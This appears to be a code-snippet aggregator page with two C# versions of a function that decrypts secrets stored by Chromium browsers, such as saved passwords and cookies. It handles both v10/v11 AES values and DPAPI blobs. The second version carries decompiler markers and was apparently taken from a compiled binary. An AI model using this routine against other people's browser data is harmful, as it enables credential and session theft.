示例#1
0
        private static string DecryptChromium(string chiperText, string localStatePath)
        {
            string str = string.Empty;

            try
            {
                str = chiperText.StartsWith("v10") ? ChromiumEngine.DecryptV10(localStatePath, chiperText) : DecryptHelper.DecryptBlob(chiperText, DataProtectionScope.CurrentUser, (byte[])null).Trim();
            }
            catch
            {
            }
            return(str);
        }
示例#2
0
        // Token: 0x060002E5 RID: 741 RVA: 0x0000E808 File Offset: 0x0000CA08
        private static string DecryptChromium(string chiperText, string chromeKey)
        {
            string result = string.Empty;

            try
            {
                if (chiperText.StartsWith("v10") || chiperText.StartsWith("v11"))
                {
                    result = ChromiumEngine.DecryptV10(chromeKey, chiperText);
                }
                else
                {
                    result = DecryptHelper.DecryptBlob(chiperText, DataProtectionScope.CurrentUser, null).Trim();
                }
            }
            catch (Exception value)
            {
                Console.WriteLine(value);
            }
            return(result);
        }